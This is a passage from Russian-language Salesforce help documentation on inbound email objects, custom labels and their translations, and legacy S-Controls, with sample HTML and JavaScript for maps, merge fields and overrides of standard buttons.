отправителюответ, содержащийсообщение, указанноевполе Message.

Логическийsuccess

Сообщение, возвращаемое системой Salesforce в тексте ответа. Данное
поле может быть заполнено текстом, независимо от значения,
возвращенного полем Success.

Stringmessage

Объект InboundEnvelope

Ниже перечислены поля, доступные в объекте InboundEnvelope и предназначенные для хранения сведений о конверте,
связанном с входящим сообщением эл. почты.

ОписаниеТипИмя

Имя, отображаемое в поле конверта «Кому»  (при его наличии).StringtoAddress

Имя, отображаемое в поле конверта «От»  (при его наличии).StringfromAddress

СМ. ТАКЖЕ:

Что такое службы эл. почты?

Общие сведения о коде Apex
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Настраиваемые метки

Настраиваемые метки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления настраиваемых
меток:
• «Настройка

приложения»

Для создания или
переопределения перевода:
• «Управление

переводами»

ИЛИ

«Просмотр настройки и
конфигурации» и
назначение в качестве
переводчика

Настраиваемые метки — это настраиваемые текстовые значения, доступные в классах
Apex, на страницахVisualforceлибо в компонентах Lightning.Данные значениямогут быть
переведенына любой язык, поддерживаемый системой Salesforce. Настраиваемыеметки
позволяютразработчикамсоздаватьмногоязычныеприложенияпутемавтоматического
отображения информации (например, текста справки или сообщений об ошибках) на
родном языке пользователя.

Организация может создавать не более 5 000 настраиваемых меток длиною не более
1 000 символов.Пользовательские метки от управляемых пакетов не относятся к этому
ограничению.

Чтобы получить доступ к пользовательским меткам, введите строку «Пользовательские
метки» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Пользовательские метки». Ниже перечислены действия, доступные на данной
странице.

• Создание или редактирование настраиваемой метки.

• Просмотр текущей настраиваемойметки. Страница просмотра позволяет создавать
или редактировать перевод на языке организации.

Добавление в приложение пользовательской метки.

1. Создание настраиваемой метки.

2. Переведите значение метки на языки, поддерживаемые приложением.

3. Использование метки.

• В Apex воспользуйтесь синтаксисом System.Label.Label_name.

• В Visualforce и в компонентах Lightning используйте глобальную переменную
$Label.

4. Добавьте метку в приложение при публикации в каталог AppExchange.

Совет: Если настраиваемая метка имеет перевод, включите перевод в пакет с
помощью непосредственного создания пакета желаемых языков.

СМ. ТАКЖЕ:

Создание и редактирование настраиваемых меток
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Создание и редактирование настраиваемых меток

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления настраиваемых
меток:
• «Настройка

приложения»

Для создания или
переопределения перевода:
• «Управление

переводами»

ИЛИ

«Просмотр настройки и
конфигурации» и
назначение в качестве
переводчика

Создайтенастраиваемыеметки, которыемогутиспользоватьсяизклассовApex, состраниц
Visualforce или из комментариев Lightning, чтобы сделать приложение многоязычным.

1. Введитестроку «Настраиваемые метки» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настраиваемые метки».

2. Длясозданияметкинажмите«Создатьнастраиваемуюметку». Дляредактирования
метки нажмите «Редактировать» рядом с настраиваемой меткой.

3. Введите легко узнаваемый термин для определения данной настраиваемой метки в
текстовоеполе«Краткоеописание». Данноеописаниеиспользуетсявполяхслияния.

Прим.: Язык текущей настраиваемой метки не может быть изменен.

4. При создании настраиваемой метки: В текстовом поле «Имя» введите имя, которое
используетсяметкой. Данное значениеиспользуется вApexина страницахVisualforce
для ссылки на настраиваемуюметку. Имя должно содержать только буквы и цифры.
Оно должно начинаться с буквы, не должно содержать пробелов или двойных
символов подчеркивания, а также должно быть уникальным в организации.

5. Чтобы пометить настраиваемую метку в качестве защищенной, установите флажок
«Защищенный компонент».

6. Чтобыопределить категориюметки, введите значение в поле «Категории». Данное
поле может использоваться в критериях фильтрации при создании списковых
представлений настраиваемых меток. Введите категории через запятую. Текстовое
поле «Категории» может содержать не более 255 символов.

7. Введите текст длиноюнеболее 1 000 символовв текстовоеполе «Значение». Данное
значениеможетбытьпереведеноналюбойязык, поддерживаемыйсистемойSalesforce.

Прим.: Изменения, внесенные в данное поле, могут быть доступны
пользователям через несколько минут.

8. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание и редактирование переводов настраиваемых меток

Настраиваемые метки
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Создание и редактирование переводов настраиваемых меток

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления настраиваемых
меток:
• «Настройка

приложения»

Для создания или
переопределения перевода:
• «Управление

переводами»

ИЛИ

«Просмотр настройки и
конфигурации» и
назначение в качестве
переводчика

Переводы настраиваемых меток определяют текст для отображения значения метки,
если стандартный язык пользователя является языком перевода.

1. Введитестроку «Настраиваемые метки» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настраиваемые метки».

2. Чтобы открыть метку, выберите имя настраиваемой метки.

3. Чтобы добавить новый перевод, нажмите кнопку «Создать» в связанном списке
«Переводы». Чтобыизменитьперевод, щелкнитессылку«Правка»напротивнужного
языка. Принажатиикнопки«Удалить» системаSalesforce запрашиваетподтверждение
и удаляет перевод из настраиваемой метки.

4. Выберите язык перевода в раскрывающемся списке «Язык».

5. Заполнитеполе «Текст перевода». Данныйтекстпереопределяет значение, заданное
в поле метки «Значение», если стандартный язык пользователя является языком
перевода.

6. Нажмите кнопку «Сохранить».

Прим.: При упаковке приложения, которое использует настраиваемые метки с
переводами, включите переводы в пакет с помощьюнепосредственного создания
пакета желаемых языков.

СМ. ТАКЖЕ:

Создание и редактирование настраиваемых меток

Настраиваемые метки
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Просмотр настраиваемых меток

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления настраиваемых
меток:
• «Настройка

приложения»

Для создания или
переопределения перевода:
• «Управление

переводами»

ИЛИ

«Просмотр настройки и
конфигурации» и
назначение в качестве
переводчика

Ниже перечислены действия, доступные после создания настраиваемой метки.

• Редактирование настраиваемой метки.

Прим.: Атрибутынастраиваемыхметок, установленныхкакчасть управляемого
пакета, не могут быть изменены. Пользователь может только переопределить
текущие переводы или добавить новые переводы для языков, отсутствующих
в пакете.

• Удаление настраиваемой метки.

Прим.: Настраиваемые метки, установленные как часть управляемого пакета,
либоиспользуемыекодомApexилистраницейVisualforce, немогутбытьудалены.
Пользователь может только переопределить текущие переводы.

• Создание или редактирование перевода.

СМ. ТАКЖЕ:

Создание и редактирование настраиваемых меток

Настраиваемые метки
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Настраиваемые элементы S-Control

Определение настраиваемых элементов S-Control

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
настраиваемых элементов
S-Control:
• «Настройка

приложения»

Важное замечание: Visualforce pages supersede s-controls. Элементы S-Control немогут
быть созданыорганизациями, гдеониранеенеиспользовались. Текущиеэлементы
S-Control останутся без изменений и будут доступны для редактирования.

Библиотека настраиваемых элементов S-Control — это область, поддерживающая
хранениеизагрузкусодержимого, котороеможетиспользоватьсяразнымикомпонентами
Salesforce (например, настраиваемыессылки, веб-вкладки, настраиваемыекнопкиипанели
мониторинга). Элементы S-Control — этоуниверсальныеиоткрытыесредстварасширения
пользовательскогоинтерфейсаSalesforce, включаявозможностьсозданияиотображения
собственных форм настраиваемых данных.

Элементы S-Control могут содержать любой тип содержимого, отображаемого или
выполняемоговобозревателе (например, Java-приложение, элемент управления ActiveX,
файл Excel или настраиваемая веб-форма в формате HTML).

1. Введите строку «Элементы S-Control» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Элементы S-Control».

2. Чтобысоздатьнастраиваемыйэлемент S-Control, щелкните«Создатьнастраиваемый
элемент S-Control».

3. Чтобы изменить текущий настраиваемый элемент S-Control, щелкните «Правка».

4. Введите атрибуты элемента S-Control.

5. ЧтобыпроверитьвсеполяслиянияифункцииSalesforce, нажмитекнопку«Проверка
синтаксиса».

6. Позавершениинажмитекнопку«Сохранить». Чтобысохранитьвнесенныеизмененияипродолжитьредактирование,
нажмите кнопку «Быстрое сохранение».

7. Чтобы отображать настраиваемые элементы S-Control пользователям, создайте настраиваемую кнопку или ссылку.
Принеобходимостисоздайте веб-вкладкупосредствомнастраиваемогоэлемента S-Control идобавьте элемент S-Control
в макет страницы или на панель мониторинга. Кроме того, элемент S-Control может использоваться в качестве
содержимого интерактивной справки для настраиваемого объекта.

СМ. ТАКЖЕ:

Общие сведения об элементах S-Control

Просмотр и редактирование элементов S-Control

Полезные элементы S-Control
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Общие сведения об элементах S-Control

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Важное замечание: Visualforce pages supersede s-controls. Элементы S-Control немогут
быть созданыорганизациями, гдеониранеенеиспользовались. Текущиеэлементы
S-Control останутся без изменений и будут доступны для редактирования.

Рекомендуем использовать элементы S-Control для добавления собственныхфункций в
организацию Salesforce. Будь то интеграция собственного размещаемого приложения
илирасширение текущегопользовательскогоинтерфейса Salesforce, элементы S-Control
могут использоваться для хранения кода или обращения к коду в других областях.

Настраиваемые элементы S-Control могут содержать любой тип содержимого,
отображаемоговобозревателе (например, Java-приложение, элемент управления ActiveX,
файл Excel или настраиваемая веб-форма в формате HTML).

СМ. ТАКЖЕ:

Определение настраиваемых элементов S-Control

Полезные элементы S-Control

Сравнение страниц Visualforce с элементами S-Control

Рекомендации по использованию элементов S-Control в пакетах Force.com AppExchange

Нижеперечисленыограничения, которые следует учитыватьприразработкепакета Force.com AppExchange, содержащего
элементы S-Control, или при планировании установки пакета AppExchange, содержащего элементы S-Control.

• Прииспользовании разрабатываемых пакетов (не из каталога AppExchange) элементы S-Control могут быть добавлены
только в пакеты со стандартным API-доступом «Неограниченный». При наличии элемента S-Control API-доступу не
может быть задано значение «Ограниченный».

• Прииспользованииустановленныхпакетовограничениядоступамогутбыть включеныдажеприналичииэлементов
S-Control. Обратите внимание, что ограничения доступа обеспечивают только ограниченную защиту элементов
S-Control. Прежде чем ограничить доступ из соображений безопасности элементов S-Control, компания Salesforce
рекомендует изучить принципы работы JavaScript в элементах S-Control.

• Если API-доступу установленного пакета задано значение «Ограниченный», то обновления устанавливаются только
в томслучае, еслиобновленная версияне содержитэлементов S-Control. Еслиобновленная версия содержитэлементы
S-Control, то API-доступу установленного пакета должно быть задано значение «Неограниченный».

5682

Apex, Visualforce и компоненты LightningРасширение Salesforce посредством кода



Просмотр и редактирование элементов S-Control

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
настраиваемых элементов
S-Control:
• «Настройка

приложения»

Важное замечание: Visualforce pages supersede s-controls. Элементы S-Control немогут
быть созданыорганизациями, гдеониранеенеиспользовались. Текущиеэлементы
S-Control останутся без изменений и будут доступны для редактирования.

Чтобы просмотреть сведения настраиваемого элемента S-control, откройте настройки и
введите строку «Элементы S-Control» в поле «Быстрый поиск», затем выберите
пункт «Элементы S-Control» и выберите имя элемента S-control.

• Чтобы изменить элемент S-Control, щелкните ссылку «Правка».

• Чтобы удалить элемент S-Control, щелкните ссылку «Удал.».

• ЧтобыпросмотретьсписокдругихкомпонентовSalesforce, ссылающихсяна элемент
S-Control, щелкните «Где это используется?».

Настраиваемые атрибуты элементов S-Control

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ОписаниеИмя атрибута

Текст, отображаемыйвмакетахстраницдлявнедренныхэлементов
S-Control.

Метка

Уникальное имя элемента S-Control. Данное имя должно быть
уникальным и может содержать только буквы, цифры и символы
подчеркивания. Имя должно начинаться с буквы; не может
содержать пробелов и двух последовательных символов
подчеркивания, а также не может заканчиваться символом
подчеркивания.

Имя элемента
S-Control

Данный атрибут определяет предполагаемый способ
использования элемента S-Control.

HTML
Выберите данное значение, чтобы вводить содержимое
элемента S-Control в область «Содержимое».

Тип

URL-адрес
Выберите данное значение, чтобы вводить ссылку или
URL-адрес внешнего веб-сайта в область «Содержимое».
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ОписаниеИмя атрибута

Фрагмент
Фрагменты — это элементы S-Control, которые предназначены для добавления в другие
элементы S-Control. Выберите данное значение, чтобы вводить содержимое фрагмента
S-Control в область «Содержимое».

Текст, описывающий элемент S-Control. Данный атрибут отображается только
администраторам.

Описание

Введите содержимое или источник элемента S-Control. Разрешается использовать не более
1 миллиона символов. HTML-кодопределяет точныйспособотображения элемента S-Control
пользователям.

Содержимое

• Еслиформула создаетсяна вкладке «Сложнаяформула»илидля утвержденийиправил
(например, для бизнес-правил, правил проверки, назначения, автоматического ответа
или расширения), нажмите кнопку «Вставить поле», выберите поле и нажмите кнопку
«Вставить».

Чтобы создать основнуюформулу, которая передает определенные данные Salesforce,
откройте вкладку «Простаяформула», выберите тип поля в раскрывающемся списке
«Выбрать тип поля» и выберите нужное поле в раскрывающемся списке «Вставить
поле».

Совет: Чтобы охватить связанные объекты и добавить ссылку на поля слияния
этих объектов, создайте формулы кросс-объектов.

• Чтобы вставить оператор, выберите соответствующий значок оператора в
раскрывающемся списке «Вставить оператор».

• Чтобы вставить функцию, дваждыщелкните ее имя в списке или выберите нужную
функцию ищелкните «Вставить выбраннуюфункцию». Чтобы отфильтровать
список функций, выберите нужную категорию в раскрывающемся списке «Функции».
Чтобы просмотреть описание и примерыформул, использующих даннуюфункцию,
выберите нужнуюфункцию ищелкните «Справка по этойфункции».

• Чтобы добавить ссылку на файл, загруженный в поле «Имя файла» как часть
настраиваемогоэлемента S-Control, выберитезначение «Настраиваемыйэлемент S-Control»
в раскрывающемся списке «Выбрать тип поля», а затем выберите «URL-адрес
настраиваемого элемента S-Control» для получения поля слияния. Поля слияния
{!Scontrol_JavaCodebase} и {!Scontrol_JavaArchive} доступны при
использовании Java-приложения.

• Чтобы вставить поля слияния, используемые в действиях, выберите пункт «Событие»
или «Задача» в раскрывающемся списке «Выбрать тип поля».

Совет: По стандартам Интернета URL-адреса должны использовать специальную
кодировку. Система Salesforce автоматически кодирует текст любого поля слияния,
добавленногов ссылку. Любойдополнительныйтекст, добавленныйвссылку, должен
кодироваться вручную. Например, чтобы создать следующий URL-адрес:

http://www.google.com/search?q={!user.name} Steve Mark 50%
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ОписаниеИмя атрибута

Воспользуйтесь следующим содержимым:

http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Если поле «Источник содержимого» содержит URL-адрес, то система Salesforce
автоматически удаляет двойные кавычки из URL-адресов. Чтобы сохранить двойные
кавычки, рекомендуем кодировать их вручную. Например, чтобы создать URL-адрес
http://www.google.com/search?q="salesforce+foundation",
воспользуйтесь следующим содержимым:
http://www.google.com/search?q=%22salesforce+foundation%22.

Загрузкафайладляотображенияпридобавленииданногонастраиваемогоэлемента S-Control
в настраиваемую ссылку. Файл может содержать Java-приложение, элемент управления

Имя файла

Active-X или любой другой тип содержимого. Данный параметр применяется только к
HTML-элементам S-Control.

Данный параметр сохраняет элемент S-Control в памяти, повышая производительность
системыприповторнойзагрузкестраницыинетребуяповторнойзагрузкиэлемента S-Control.
Данный параметр применяется только к HTML-элементам S-Control.

Предварительно
встроенный в страницу

По умолчанию используется кодировка «Юникод (UTF-8)». Чтобы передавать данные в
URL-адрес, требующий другого формата, измените текущую кодировку. Данный параметр
доступен только в том случае, если параметр «Тип» содержит значение «URL-адрес».

Кодировка

СМ. ТАКЖЕ:

Общие сведения об элементах S-Control

Полезные элементы S-Control

Советы по созданию элементов S-Control
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Удаление настраиваемых элементов S-Control

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
настраиваемых элементов
S-Control:
• «Настройка

приложения»

Важное замечание: Visualforce pages supersede s-controls. Элементы S-Control немогут
быть созданыорганизациями, гдеониранеенеиспользовались. Текущиеэлементы
S-Control останутся без изменений и будут доступны для редактирования.

Чтобы удалить настраиваемый элемент S-Control, выполните указанные ниже действия.

1. Чтобыпроверить, используетсялиэлемент S-Control другимикомпонентами, Введите
строку «Элементы S-Control» в поле «Быстрый поиск» в меню «Настройка»,
затемвыберитепункт «Элементы S-Control», выберите элемент S-Control ищелкните
«Где это используется?».

2. Щелкните «Элементы S-Control» повторно.

3. Щелкните ссылку «Удал.» напротив нужного настраиваемого элемента S-Control.

4. Нажмите кнопку «OK».

Прим.: Настраиваемый элемент S-Control, используемый в системе Salesforce, не
может быть удален. Удаленные элементы S-Control не перемещаются в корзину.

Советы по созданию элементов S-Control

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
настраиваемых элементов
S-Control:
• «Настройка

приложения»

Важное замечание: Visualforce pages supersede s-controls. Элементы S-Control немогут
быть созданыорганизациями, гдеониранеенеиспользовались. Текущиеэлементы
S-Control останутся без изменений и будут доступны для редактирования.

Ниже перечислены советы по созданию элементов S-Control.

• При создании элемента S-Control типа «URL-адрес» не рекомендуем устанавливать
флажок «Показать заголовок раздела на странице сведений» в разделе макета
страницы, выбранном для добавления элемента S-Control. При использовании со
свертываемыми разделами данный параметр инициирует некорректную работу
некоторых обозревателей.

• Рекомендуем использовать глобальные переменные для получения доступа к
специальным полям слияния для компонентов (например, настраиваемые кнопки,
ссылкииэлементы S-Control). Например, глобальнаяпеременная $Request позволяет
получать доступ к параметрам запроса внутри фрагмента, элемента S-Control или
настраиваемой кнопки.

• Рекомендуемиспользоватьполеслияния {!$Organization.UISkin} вэлементе
S-Control для извлечения темы пользовательского интерфейса, выбранной для
организации. Значение Theme1 данного поля слияния соответствует теме Salesforce
Classic, а значение Theme2 соответствует теме Salesforce.

• Элементы S-Control используют символы {! и } (ранее использовались вокруг полей
слияниявформулах) вокруг выражения, котороеможет содержать какминимумодно
поле слияния, функцию или глобальную переменную.
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• При переопределении действия рекомендуем использовать аргумент без_переопределения во избежание рекурсии,
обозначаемой пустыми рамками на странице.

• Чтобывставитьполя слияния, используемыевдействиях, выберитепункт «Событие» или «Задача» враскрывающемся
списке «Выбрать тип поля».

СМ. ТАКЖЕ:

Настраиваемые атрибуты элементов S-Control

Определение настраиваемых элементов S-Control

Полезные элементы S-Control

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Настраиваемые кнопки и
ссылки доступны в версиях:
все версии.

Элементы S-Control
доступны в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Переопределение
стандартных кнопок и
начальных страниц вкладок
доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Важное замечание: Visualforce pages supersede s-controls. Элементы S-Control немогут
быть созданыорганизациями, гдеониранеенеиспользовались. Текущиеэлементы
S-Control останутся без изменений и будут доступны для редактирования.

Ниже приведены примеры, позволяющие начать использование элементов S-Control.

5687

Apex, Visualforce и компоненты LightningРасширение Salesforce посредством кода



Элементы S-Control для страниц сведений

Карта Yahoo!

Рекомендуемиспользовать Yahoo! Maps API иполя слияния адреса для счета с цельюотображения картыдля организации.
Воспользуйтесь кодом ниже в элементе S-Control типа «HTML» и добавьте его в макет страницы сведений об организации.

<html>
<head>
<script type="text/javascript"
src="http://api.maps.yahoo.com/ajaxymap?v=3.0&appid=YahooDemo">
</script>
<style type="text/css">
#mapContainer {
height: 200px;
width: 100%;
}
</style>
</head>
<body>
<div id="mapContainer"></div>
<script type="text/javascript">
// Create a map object
var map = new YMap(document.getElementById('mapContainer'));
// Display the map centered on given address
map.drawZoomAndCenter("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
// Set marker at that address
map.addMarker("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
</script>
</body>
</html>

Элементы S-Control, переопределяющие стандартные кнопки и начальные страницы вкладок

Переопределение действия добавления продукта

При добавлении продуктов в возможности разрешается использовать собственный код вместо стандартной страницы.
Рекомендуем использовать пример элемента S-Control ниже для передачи значений данных посредством полей слияния
со страницысведенийо записивнастраиваемыйэлемент S-Control, которыйпереопределяет кнопку «Добавитьпродукт»
в связанном списке «Продукты» возможности. Данный тип переопределения поясняет порядок использования полей
слияния из основного иподробного объектов в кнопках связанного списка. Например, код ниже содержит поля слияния
объекта «Возможность», связанного с продуктами возможности посредством взаимосвязи «Основная — подробная», где
он является основным.

<html>
<head>
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<script type="text/javascript"
src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Opportunity Info:</b>
<br>
Opportunity ID: {!Opportunity.Id}
<br>
Opportunity Name: {!Opportunity.Name}
<br>
Opportunity Record Type: {!Opportunity.RecordType}
<br>
</body>
</html>

Чтобывнедрить даннуюфункцию, создайте элемент S-Control типа «HTML» с указаннымвышесодержимымпутем вставки
кодавсоответствующуюобласть. Затемпереопределитедействиедобавленияпродуктаизобъекта «Продуктывозможности»
посредством элемента S-Control. Данный пример предполагает наличие типов записей для возможностей.

Прим.: Данныйпримерне содержиткода длядобавленияпродуктов. Содержимоеизраздела текста толькопоясняет
порядок использования полей слияния объекта «Возможность» из связанного списка «Продукты возможности».
Замените раздел текста нужным кодом.

Условное переопределение для редактирования интересов

Принеобходимостивыполните условноепереопределениестандартногодействияпутемпереадресациина стандартное
действие или настраиваемый элемент S-Control (в зависимости от некоторых условий). Например, при редактировании
интересов, открытыхболее 30 дней, можетиспользоватьсяотдельныйэлемент S-Control. Используяпримерниже, создайте
элемент S-Control для оценки длительности открытия интереса (более 30 дней) и — при положительном результате —
выполнения настраиваемого элемента S-Control для редактирования интересов. В противном случае, воспользуйтесь
стандартным действием редактирования интересов.

<script type="text/javascript">

//determine if the lead has been open longer than 30 days
if ({!IF(ISPICKVAL( Lead.Status , "Open"), ROUND(NOW()- Lead.CreatedDate , 0), 0)} > 30)
{
//more than 30 days - display a custom scontrol page
window.location.href="{!URLFOR($SControl.EditLeadsOpenLongerThan30)}";
}
else
{
//30 days or less - display the standard edit page
window.parent.location.href="{!URLFOR($Action.Lead.Edit, Lead.Id,
[retURL=URLFOR($Action.Lead.View, Lead.Id)], true)}";
}

</script>

Чтобы внедрить даннуюфункцию, создайте элемент S-Control, который должен использоваться для редактирования
интересов, открытых более 30 дней. Назовите данный элемент S-Control следующим именем: EditLeadsOpenLongerThan30.
Затем, используяпример кода выше, создайте элемент S-Control для определениядлительностиоткрытияинтереса (более
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30 дней) и — при положительном результате — переопределите действие редактирования для интересов посредством
элемента S-Control по имени EditLeadsOpenLongerThan30.

Обратите внимание на различия между первым и вторым операторами if в примере кода выше. В первом случае
используетсяоператор if от JavaScript, выполняющийоценкудляобозревателя. Вовторомслучаеиспользуетсяфункция
IF от Salesforce, выполняющая оценку для сервера и возвращающая отдельное значение (количество дней для открытого
интереса или ноль для другого интереса).

Совет: Рекомендуем использовать функцию URLFOR в данном примере для создания URL-адресов Salesforce вместо
ввода отдельных URL-адресов во избежание ошибок их поддержки в выпусках.

Чтобы показать стандартную страницу Salesforce без вызова переопределения, задайте аргументу без_переопределения
функции URLFOR значение true.

Принеобходимости воспользуйтесьпараметром retURL функции URLFOR для возвратапользователяна страницу
сведений после сохранения.

Переопределение действия редактирования контакта

Приредактированииконтактовразрешаетсяиспользовать собственныйкод. Рекомендуемиспользоватьпримерэлемента
S-Control нижедляпередачизначенийданныхпосредствомполейслияниясостраницысведенийозаписивнастраиваемый
элемент S-Control, который переопределяет стандартную кнопку страницы сведений.

<html>
<head>
<script type="text/javascript" src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Contact Info:</b>
<br>
Contact ID: {!Contact.Id}
<br>
Contact Name: {!Contact.FirstName} {!Contact.LastName}
<br>
</body>
</html>

Чтобывнедрить даннуюфункцию, создайте элемент S-Control типа «HTML» с указаннымвышесодержимымпутем вставки
кода в раздел текста. Затем переопределите действие редактирования контакта посредством элемента S-Control. Данный
алгоритм переопределяет действие редактирования контакта во всех областях его использования: кнопка «Правка» на
странице сведений о контакте, ссылка «Правка» в списковых представлениях и ссылка «Правка» в любых связанных
списках.

Прим.: Данный пример не содержит кода для редактирования контактов. Код из раздела текста только поясняет
порядок использования полей слияния объекта «Контакт» для отображения сведений о контакте. Замените раздел
текста нужным кодом.

Переопределение действия прерывания для новых организаций

Переопределение стандартных кнопок инициирует отмену их доступности во всей организации Salesforce. При
необходимости переопределите стандартное действие и выполните переадресацию на данное действие из элемента
S-Control без активации бесконечного цикла. Например, чтобы переопределить кнопку «Создать» для организаций,
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выполнитьсобственныйнастраиваемыйпроцессивозобновитьстандартноедействиесозданияорганизациибезактивации
бесконечного цикла, воспользуйтесь аргументом без_переопределения функции URLFOR.

<script type="text/javascript">

alert("Hi, I am demonstrating how to interrupt New Account with an override. Click OK to
continue.");

window.parent.location.href="{! URLFOR($Action.Account.New, null, null, true)}";

</script>

Чтобы внедрить даннуюфункцию, создайте элемент S-Control типа «HTML» с указанным выше содержимым. Затем
переопределите действие создания организации посредством элемента S-Control.

Прим.: Действие создания не требует кода, поэтому второму аргументу функции URLFOR задается значение null.
Данныйпримерне требует входныхданных, поэтому третьему аргументуфункции URLFOR задается значение null.
Четвертому аргументу функции URLFOR задается значение true, позволяющее пропускать переопределение во
избежание активации бесконечного цикла.

Условное переопределение начальной страницы вкладки «Организации»

Принеобходимостивыполнитеусловноепереопределениеначальнойстраницывкладкипутемпереадресацииисходной
начальной страницы вкладки на элемент S-Control (в зависимости от некоторых условий). Например, пользователям
конкретного профиля может отображаться элемент S-Control вместо стандартной начальной страницы вкладки
«Организации». Используя пример кода ниже, создайте элемент S-Control для отображения сведений о соискателе
пользователям с профилем «Специалист по подбору кадров» при открытии вкладки «Организации»; всем другим
пользователям будет отображаться стандартная начальная страница вкладки «Организации».

Чтобывнедритьданнуюфункцию, создайте элемент S-Control поимени ApplicantHomePage, содержимоекоторогодолжно
отображаться специалистам по подбору кадров. Затем, используя код ниже, создайте элемент S-Control типа «HTML» для
внедрения логики условного переопределения.

<script type="text/javascript">
//determine the user profile name
var recruiter = {!IF($Profile.Name = "Recruiter", true, false)};

//when the profile is recruiter - display a custom s-control page
if (recruiter) {

window.parent.location.href="{! urlFor($SControl.ApplicantHomePage)}";
} else {
//when the profile is not recruiter - display the standard Accounts tab page

window.parent.location.href="{! urlFor( $Action.Account.Tab ,
$ObjectType.Account,null,true)}";
}
</script>

Затем переопределите вкладку «Организации» для использования приведенного выше элемента S-Control типа «HTML».
Данный пример предполагает наличие профиля «Специалист по подбору кадров» в организации.

Прим.: Поля слияния $Profile доступны только в версиях Enterprise Edition, Unlimited Edition, Performance Edition и
Developer Edition.
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Элементы S-Control, включающие фрагменты

Включение фрагментов

Включите фрагменты в настраиваемые элементы S-Control для повторного использования общего кода. Пример ниже
ссылается на фрагмент, соответствующий верхнему колонтитулу страницы, которая отображает веб-вкладку. Странице
будет задан заголовок My Title. Рекомендуемиспользовать глобальнуюпеременную $SControl дляобращениякфрагменту.
Чтобы внедрить даннуюфункцию, создайте два фрагмента по имени Resize_Iframe_head и Resize_Iframe_onload, а также
элемент S-Control типа «HTML» по имени Resize_Iframe_sample, включающий код ниже.

<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My Title",
theme = "modern"])} </body> </html>

Поля слияния для элементов S-Control

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Важное замечание: Visualforce pages supersede s-controls. Элементы S-Control немогут
быть созданыорганизациями, гдеониранеенеиспользовались. Текущиеэлементы
S-Control останутся без изменений и будут доступны для редактирования.

Поле слияния — это поле, которое может быть добавлено вшаблон эл. почты, шаблон
стандартного письма, настраиваемую ссылку или формулу для внедрения значений из
записи.

Элементы S-Control являются источником содержимого для справки объекта, поэтому
их поля слияния или другие функции могут использоваться для индивидуализации
справки. Например, добавлениеименипользователянаотображаемуюстраницусправки
позволяет настраиваемой справке обращаться непосредственно к пользователю.

Советы

• Чтобы добавить ссылку на файл, загруженный в поле «Имя файла» как часть настраиваемого элемента S-Control,
выберите значение «Настраиваемый элемент S-Control» в раскрывающемся списке «Выбрать тип поля», а затем
выберите «URL-адрес настраиваемого элемента S-Control» для получения поля слияния. Поля слияния
